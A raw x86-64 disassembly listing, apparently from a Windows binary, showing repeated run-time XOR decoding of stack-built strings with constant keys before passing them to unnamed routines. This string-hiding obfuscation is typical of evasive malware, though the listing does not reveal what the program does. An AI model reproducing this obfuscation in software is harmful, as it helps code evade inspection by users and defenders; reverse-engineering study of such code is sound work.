mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x160], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x168], rcx
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x3de0], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3de8], rax
movdqa xmm0, xmmword [rbp + 0x160]
pxor xmm0, xmmword [rbp + 0x3de0]
movdqa xmmword [rbp + 0x160], xmm0
movabs rax, 0xc80a26d86fe74abf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
movabs rax, 0x6e5e413bb15f6098
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3dd0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3dd8], rax
movdqa xmm0, xmmword [rbp + 0x150]
pxor xmm0, xmmword [rbp + 0x3dd0]
movdqa xmmword [rbp + 0x150], xmm0
lea rcx, [rbp + 0x2130]
call fcn.140036e80
mov rdi, rax
movabs rax, 0x9f19078a7ef24abf
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1e0], rcx
movabs rax, 0x6e5e413b917f7add
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1e8], rcx
movabs rdx, 0xf27849aa1da26a9f
mov qword [rbp], rdx
mov rcx, qword [rbp]
mov qword [rbp + 0x3dc0], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3dc8], rax
movdqa xmm0, xmmword [rbp + 0x1e0]
pxor xmm0, xmmword [rbp + 0x3dc0]
movdqa xmmword [rbp + 0x1e0], xmm0
movabs rax, 0x970b27cf7ecb26bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
movabs rax, 0x6e5e413bb17f6082
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x3db0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3db8], rax
movdqa xmm0, xmmword [rbp + 0x1d0]
pxor xmm0, xmmword [rbp + 0x3db0]
movdqa xmmword [rbp + 0x1d0], xmm0
mov edx, 0x7f
lea rcx, [rbp + 0x17c0]
call fcn.140011310
nop
movabs rax, 0x9f193bcd72d03abf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6c0], rax
movabs rax, 0x312848c33a1698
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6c8], rax
movabs rax, 0x33784aa4b1882cb3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6d0], rax
movabs rdx, 0x43dc604d5b126582
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x6d8], rax
movabs rcx, 0xf27849aa1da26a9f
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x47a0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x47a8], rax
movabs r8, 0x33784aa4b1a80c89
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x47b0], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x47b8], rax
vmovdqu ymm0, ymmword [rbp + 0x6c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x47a0]
vmovdqa ymmword [rbp + 0x6c0], ymm1
movabs rax, 0x9c1720d96fc73cbf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x6e5e413bb17f6082
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3da0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3da8], rax
vmovdqa xmm0, xmmword [rbp + 0x1c0]
vpxor xmm0, xmm0, xmmword [rbp + 0x3da0]
vmovdqa xmmword [rbp + 0x1c0], xmm0
movabs rax, 0xa22c0d823dc20aff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1360], rax
movabs rax, 0x1a2d3469917612ec
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1368], rax
movabs rax, 0x500d1984deda5ca9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1370], rax
movabs rax, 0xffc406d286100e1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1378], rax
movabs rax, 0x8084a7e403a7c94c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1380], rax
movabs r9, 0xd68cf8ffcf72a52c
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x1388], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3e00], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3e08], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x3e10], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x3e18], rax
movabs rax, 0x80a487de6dceae23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e20], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x3e28], rax
vmovdqu ymm0, ymmword [rbp + 0x1360]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e00]
vmovdqa ymmword [rbp + 0x1360], ymm1
vmovdqa xmm0, xmmword [rbp + 0x1380]
vpxor xmm0, xmm0, xmmword [rbp + 0x3e20]
vmovdqa xmmword [rbp + 0x1380], xmm0
lea r8, [0x14012a090]
lea rdx, [rbp + 0x1360]
lea rcx, [rbp + 0x2150]
vzeroupper
call fcn.140042530
nop
lea rcx, [rbp + 0x1c0]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop
inc r8
cmp byte [rcx + r8], 0
jne 0x140038760
lea rdx, [rbp + 0x1c0]
mov rcx, rax
call fcn.14000e620
mov rdx, rax
lea rcx, [rbp + 0x1700]
call fcn.14000e440
nop
lea r8, [0x14012b4c8]
lea rdx, [rbp + 0x1700]
lea rcx, [rbp + 0x2170]
call fcn.140042e40
nop
lea rcx, [rbp + 0x6c0]
mov r8, rbx
nop
inc r8
cmp byte [rcx + r8], 0
jne 0x1400387b0
lea rdx, [rbp + 0x6c0]
mov rcx, rax
call fcn.14000e620
mov rdx, rax
lea rcx, [rbp + 0x1800]
call fcn.14000e440
nop
lea r9, [rbp + 0x17c0]
lea r8, [rbp + 0x1800]
movzx edx, byte [rbp + 0xb]
lea rcx, [rbp + 0x18a0]
call fcn.140043a30
nop
lea rax, [rbp + 0x1d0]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140038802
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x18a0]
call fcn.14000e620
mov rdx, rax
lea rcx, [rbp + 0x1600]
call fcn.14000e440
nop
lea r8, [0x14012a090]
lea rdx, [rbp + 0x1600]
lea rcx, [rbp + 0x2430]
call fcn.140042e40
nop
lea rcx, [rbp + 0x1e0]
mov r8, rbx
inc r8
cmp byte [rcx + r8], 0
jne 0x140038854
lea rdx, [rbp + 0x1e0]
mov rcx, rax
call fcn.14000e620
mov rdx, rax
lea rcx, [rbp + 0x1620]
call fcn.14000e440
nop
mov r9, rdi
lea r8, [rbp + 0x1620]
movzx edx, byte [rbp + 0xb]
lea rcx, [rbp + 0x16a0]
call fcn.140043a30
nop
lea rax, [rbp + 0x150]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x1400388a2
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x16a0]
call fcn.14000e620
mov rdx, rax
lea rcx, [rbp + 0x16c0]
call fcn.14000e440
nop
lea r8, [rbp + 0x3328]
lea rdx, [rbp + 0x16c0]
lea rcx, [rbp + 0x2410]
call fcn.140042e40
nop
lea rcx, [rbp + 0x160]
inc rbx
cmp byte [rcx + rbx], 0
jne 0x1400388f1
mov r8, rbx
lea rdx, [rbp + 0x160]
mov rcx, rax
call fcn.14000e620
mov rdx, rax
lea rcx, [rbp + 0x16e0]
call fcn.14000e440
nop
mov rdx, rsi
lea rcx, [rbp + 0x16e0]
call fcn.140030f00
nop
lea rcx, [rbp + 0x2410]
call fcn.140007980
nop
lea rcx, [rbp + 0x16c0]
call fcn.140007980
nop
lea rcx, [rbp + 0x16a0]
call fcn.140007980
nop
lea rcx, [rbp + 0x1620]
call fcn.140007980
nop
lea rcx, [rbp + 0x2430]
call fcn.140007980
nop
lea rcx, [rbp + 0x1600]
call fcn.140007980
nop
lea rcx, [rbp + 0x18a0]
call fcn.140007980
nop
lea rcx, [rbp + 0x1800]
call fcn.140007980
nop
lea rcx, [rbp + 0x2170]
call fcn.140007980
nop
lea rcx, [rbp + 0x1700]
call fcn.140007980
nop
lea rcx, [rbp + 0x2150]
call fcn.140007980
nop
lea rcx, [rbp + 0x17c0]
call fcn.140007980
nop
lea rcx, [rbp + 0x2130]
movabs rsi, 0x30b70f22337000f5
jmp 0x14003a0aa
mov byte [0x14012b376], 1
cmp qword [0x14012a0a0], 0xb
jne 0x140039a3c
mov byte [0x14012b375], 1
xor eax, eax
mov byte [rbp + 0x6c], al
movzx r8d, al
lea rdx, [0x14012a090]
lea rcx, [rbp + 0x2e10]
call fcn.14000e6a0
lea rax, [rbp + 0x2110]
mov qword [rbp + 0x10], rax
xor eax, eax
mov byte [rbp + 0x6d], al
mov byte [rbp + 0x6e], al
mov byte [rbp + 0x6f], al
mov byte [rbp + 0x70], al
mov byte [rbp + 0x71], al
mov byte [rbp + 0x72], al
mov byte [rbp + 0x73], al
mov byte [rbp + 0x74], al
mov byte [rbp + 0x75], al
mov byte [rbp + 0x76], al
mov byte [rbp + 0x77], al
mov byte [rbp + 0x78], al
mov byte [rbp + 0x79], al
mov byte [rbp + 0x7a], al
mov byte [rbp + 0x7b], al
mov byte [rbp + 0x7c], al
mov byte [rbp + 0x7d], al
mov byte [rbp + 0x7e], al
mov byte [rbp + 0x7f], al
mov byte [rbp + 0x80], al
mov byte [rbp + 0x81], al
mov byte [rbp + 0x82], al
mov byte [rbp + 0x83], al
mov byte [rbp + 0xa], al
movabs rax, 0xdd5773d96dd61ef7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xae0], rax
movabs r12, 0x403a3354d22c29dc
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xae8], rax
movabs r13, 0x1c113ac59ec563ea
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xaf0], rax
movabs rax, 0x30b70f22337000f5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xaf8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xb00], rax
movabs rax, 0xe4bfcccffd45971b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb08], rax
movabs rax, 0x8486a74771d57e1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb10], rax
movabs rax, 0x7b7abc585bcc5497
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb18], rax
movabs rax, 0x4f1cf1513016e932
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb20], rax
movabs rax, 0x98f15e44f51e7963
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb28], rax
movabs rax, 0xa25079545a148040
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb30], rax
movabs rax, 0x81993f60d4435100
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb38], rax
movabs rax, 0xdbd6d4fd2b5ee8c2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb40], rax
movabs rax, 0x3af763aef9bdd49a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb48], rax
movabs rax, 0x7581e058d39c9bb0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb50], rax
movabs rax, 0x60a3769940942f24
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb58], rax
movabs rdi, 0xf27849aa1da26a9f
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4420], rax
movabs rbx, 0x6e5e413bb15f40b8
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4428], rax
movabs rax, 0x33784aa4b1a80c89
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4430], rax
movabs rax, 0x43dc604d5b126582
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4438], rax
movabs rax, 0x80a487de6dceae23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4440], rax
movabs rax, 0xd68cf8ffcf72a52c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4448], rax
movabs rax, 0xccc7f56849ed4d2d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4450], rax
movabs rax, 0x10a8e016aa464a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4458], rax
movabs rax, 0x792cc602775eb167
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4460], rax
movabs rax, 0xfaab0d73962f3600
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4468], rax
movabs r14, 0xf5601b1c3d70d771
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4470], rax
movabs r15, 0xe6dc6c05a439106a
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4478], rax
movabs rax, 0x928eb2964a15aaab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4480], rax
movabs rax, 0x76b633d7bbe99fd4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4488], rax
movabs rax, 0x17b4992095dffcf5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4490], rax
movabs rax, 0x60a3769940942f4e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4498], rax
vmovdqu ymm0, ymmword [rbp + 0xae0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4420]
vmovdqa ymmword [rbp + 0xae0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xb00]
vpxor ymm1, ymm0, ymmword [rbp + 0x4440]
vmovdqa ymmword [rbp + 0xb00], ymm1
vmovdqu ymm0, ymmword [rbp + 0xb20]
vpxor ymm1, ymm0, ymmword [rbp + 0x4460]
vmovdqa ymmword [rbp + 0xb20], ymm1
vmovdqu ymm0, ymmword [rbp + 0xb40]
vpxor ymm1, ymm0, ymmword [rbp + 0x4480]
vmovdqa ymmword [rbp + 0xb40], ymm1
lea rdx, [rbp + 0xae0]
lea rcx, [rbp + 0x2110]
vzeroupper
call fcn.140007250
mov rsi, rax
movabs rax, 0xf27849aa1dc20aff
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1b0], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x1b8], rcx
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x3d90], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3d98], rax
movdqa xmm0, xmmword [rbp + 0x1b0]
pxor xmm0, xmmword [rbp + 0x3d90]
movdqa xmmword [rbp + 0x1b0], xmm0
movabs rax, 0xc80a26d86fe74abf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs rax, 0x6e5e413bb15f6098
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3d80], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3d88], rax
movdqa xmm0, xmmword [rbp + 0x1a0]
pxor xmm0, xmmword [rbp + 0x3d80]
movdqa xmmword [rbp + 0x1a0], xmm0
lea rcx, [rbp + 0x2070]
call fcn.140036e80
mov rdi, rax
movabs rax, 0x9f19078a7ef24abf
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x190], rcx
movabs rax, 0x6e5e413b917f7add
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x198], rcx
movabs rdx, 0xf27849aa1da26a9f
mov qword [rbp], rdx
mov rcx, qword [rbp]
mov qword [rbp + 0x3d70], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3d78], rax
movdqa xmm0, xmmword [rbp + 0x190]
pxor xmm0, xmmword [rbp + 0x3d70]
movdqa xmmword [rbp + 0x190], xmm0
movabs rax, 0x970b27cf7ecb26bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
movabs rax, 0x6e5e413bb17f6082
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x3d60], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3d68], rax
movdqa xmm0, xmmword [rbp + 0x180]
pxor xmm0, xmmword [rbp + 0x3d60]
movdqa xmmword [rbp + 0x180], xmm0
mov edx, 0x7f
lea rcx, [rbp + 0x1660]
call fcn.140011310
nop
movabs rax, 0x9f193bcd72d03abf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6e0], rax
movabs rax, 0x312848c33a1698
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6e8], rax
movabs rax, 0x33784aa4b1882cb3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6f0], rax
movabs rdx, 0x43dc604d5b126582
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x6f8], rax
movabs rcx, 0xf27849aa1da26a9f
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x4680], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4688], rax
movabs r8, 0x33784aa4b1a80c89
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x4690], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x4698], rax
vmovdqu ymm0, ymmword [rbp + 0x6e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4680]
vmovdqa ymmword [rbp + 0x6e0], ymm1
movabs rax, 0x9c1720d96fc73cbf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
movabs rax, 0x6e5e413bb17f6082
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3d50], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3d58], rax
vmovdqa xmm0, xmmword [rbp + 0x170]
vpxor xmm0, xmm0, xmmword [rbp + 0x3d50]
vmovdqa xmmword [rbp + 0x170], xmm0
movabs rax, 0x860b3cf83dc20aff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x940], rax
movabs rax, 0xd2b121bde2d1098
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x948], rax
movabs rax, 0x7f586a84c2db69ea
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x950], rax
movabs rax, 0x43fc4077357b02ed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x958], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x4660], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4668], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x4670], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x4678], rax
vmovdqu ymm0, ymmword [rbp + 0x940]
vpxor ymm1, ymm0, ymmword [rbp + 0x4660]
vmovdqa ymmword [rbp + 0x940], ymm1
lea r8, [0x14012a090]
lea rdx, [rbp + 0x940]
lea rcx, [rbp + 0x2090]
vzeroupper
call fcn.140042530
nop
lea rcx, [rbp + 0x170]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rcx + r8], 0
jne 0x1400391e2
lea rdx, [rbp + 0x170]
mov rcx, rax
call fcn.14000e620
mov rdx, rax
lea rcx, [rbp + 0x15e0]
call fcn.14000e440
nop
lea r8, [0x14012b4c8]
lea rdx, [rbp + 0x15e0]
lea rcx, [rbp + 0x20b0]
call fcn.140042e40
nop
lea rcx, [rbp + 0x6e0]
mov r8, rbx
inc r8
cmp byte [rcx + r8], 0
jne 0x140039230
lea rdx, [rbp + 0x6e0]
mov rcx, rax
call fcn.14000e620
mov rdx, rax
lea rcx, [rbp + 0x1720]
call fcn.14000e440
nop
lea r9, [rbp + 0x1660]
lea r8, [rbp + 0x1720]
movzx edx, byte [rbp + 0xa]
lea rcx, [rbp + 0x1740]
call fcn.140043a30
nop
lea rax, [rbp + 0x180]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140039282
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x1740]
call fcn.14000e620
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.14000e440
nop
lea r8, [rbp + 0x2e10]
lea rdx, [rbp + 0x1760]
lea rcx, [rbp + 0x20d0]
call fcn.140042e40
nop
lea rcx, [rbp + 0x190]
mov r8, rbx
inc r8
cmp byte [rcx + r8], 0
jne 0x1400392d4
lea rdx, [rbp + 0x190]
mov rcx, rax
call fcn.14000e620
mov rdx, rax
lea rcx, [rbp + 0x1780]
call fcn.14000e440
nop
mov r9, rdi
lea r8, [rbp + 0x1780]
movzx edx, byte [rbp + 0xa]
lea rcx, [rbp + 0x17e0]
call fcn.140043a30
nop
lea rax, [rbp + 0x1a0]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140039322
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x17e0]
call fcn.14000e620
mov rdx, rax
lea rcx, [rbp + 0x1680]
call fcn.14000e440
nop
lea r8, [rbp + 0x3328]
lea rdx, [rbp + 0x1680]
lea rcx, [rbp + 0x20f0]
call fcn.140042e40
nop
lea rcx, [rbp + 0x1b0]
mov r8, rbx
inc r8
cmp byte [rcx + r8], 0
jne 0x140039374
lea rdx, [rbp + 0x1b0]
mov rcx, rax
call fcn.14000e620
mov rdx, rax
lea rcx, [rbp + 0x17a0]
call fcn.14000e440
nop
mov rdx, rsi
lea rcx, [rbp + 0x17a0]
call fcn.140030f00
nop
lea rcx, [rbp + 0x20f0]
call fcn.140007980
nop
lea rcx, [rbp + 0x1680]
call fcn.140007980
nop
lea rcx, [rbp + 0x17e0]
call fcn.140007980
nop
lea rcx, [rbp + 0x1780]
call fcn.140007980
nop
lea rcx, [rbp + 0x20d0]
call fcn.140007980
nop
lea rcx, [rbp + 0x1760]
call fcn.140007980
nop
lea rcx, [rbp + 0x1740]
call fcn.140007980
nop
lea rcx, [rbp + 0x1720]
call fcn.140007980
nop
lea rcx, [rbp + 0x20b0]
call fcn.140007980
nop
lea rcx, [rbp + 0x15e0]
call fcn.140007980
nop
lea rcx, [rbp + 0x2090]
call fcn.140007980
nop
lea rcx, [rbp + 0x1660]
call fcn.140007980
nop
lea rcx, [rbp + 0x2070]
call fcn.140007980
lea rax, [rbp + 0x2050]
mov qword [rbp + 0x10], rax
xor eax, eax
mov byte [rbp + 0x84], al
mov byte [rbp + 0x85], al
mov byte [rbp + 0x86], al
mov byte [rbp + 0x87], al
mov byte [rbp + 0x88], al
mov byte [rbp + 0x89], al
mov byte [rbp + 0x8a], al
mov byte [rbp + 0x8b], al
mov byte [rbp + 0xd], al
movabs rax, 0xdd5773d96dd61ef7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc60], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc68], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xc70], rax
movabs rsi, 0x30b70f22337000f5
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xc78], rax
movabs rax, 0xb894b0eb55ff9f0c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc80], rax
movabs rax, 0xe1bbcecbfa429d14
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc88], rax
movabs rax, 0x88ff93477cd9741d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc90], rax
movabs rax, 0x665efc5e3ede01f1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc98], rax
movabs rax, 0x2e66a15d1235e75f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xca0], rax
movabs rax, 0xc9ee4a3ada1f5e76
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xca8], rax
movabs rax, 0x93032c6559158808
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xcb0], rax
movabs rax, 0xd39f5f7fdd4b692b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xcb8], rax
movabs rax, 0xddfdd7e50f57e6c5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xcc0], rax
movabs rax, 0x1efd069febb0f0b8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xcc8], rax
movabs rax, 0x62d1dc4ce792a3c3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xcd0], rax
movabs rax, 0x60a3769940942f23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xcd8], rax
movabs rcx, 0xf27849aa1da26a9f
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x44a0], rax
movabs rax, 0x6e5e413bb15f40b8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x44a8], rax
movabs rax, 0x33784aa4b1a80c89
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x44b0], rax
movabs rax, 0x43dc604d5b126582
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x44b8], rax
movabs rax, 0x80a487de6dceae23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x44c0], rax
movabs rax, 0xd68cf8ffcf72a52c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x44c8], rax
movabs rax, 0xccc7f56849ed4d2d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x44d0], rax
movabs rax, 0x10a8e016aa464a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x44d8], rax
movabs rax, 0x792cc602775eb167
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x44e0], rax
movabs rax, 0xfaab0d73962f3600
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x44e8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x44f0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x44f8], rax
movabs rax, 0x928eb2964a15aaab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4500], rax
movabs rax, 0x76b633d7bbe99fd4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4508], rax
movabs rax, 0x17b4992095dffcf5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4510], rax
movabs rax, 0x60a3769940942f4e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4518], rax
vmovdqu ymm0, ymmword [rbp + 0xc60]
vpxor ymm1, ymm0, ymmword [rbp + 0x44a0]
vmovdqa ymmword [rbp + 0xc60], ymm1
vmovdqu ymm0, ymmword [rbp + 0xc80]
vpxor ymm1, ymm0, ymmword [rbp + 0x44c0]
vmovdqa ymmword [rbp + 0xc80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xca0]
vpxor ymm1, ymm0, ymmword [rbp + 0x44e0]
vmovdqa ymmword [rbp + 0xca0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xcc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4500]
vmovdqa ymmword [rbp + 0xcc0], ymm1
lea rdx, [rbp + 0xc60]
lea rcx, [rbp + 0x2050]
vzeroupper
call fcn.140007250
mov rdi, rax
movabs rax, 0x970b27cf7ecb26bf
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1f0], rcx
movabs rax, 0x6e5e6101c83a0b98
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1f8], rcx
movabs rax, 0xf27849aa1da26a9f
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x3d40], rcx
movabs rax, 0x6e5e413bb15f40b8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d48], rax
movdqa xmm0, xmmword [rbp + 0x1f0]
pxor xmm0, xmmword [rbp + 0x3d40]
movdqa xmmword [rbp + 0x1f0], xmm0
mov edx, 0x1a0a
lea rcx, [rbp + 0x1880]
call fcn.140011310
nop
movabs rax, 0xf278498a7dc20abf
mov qword [rbp], rax
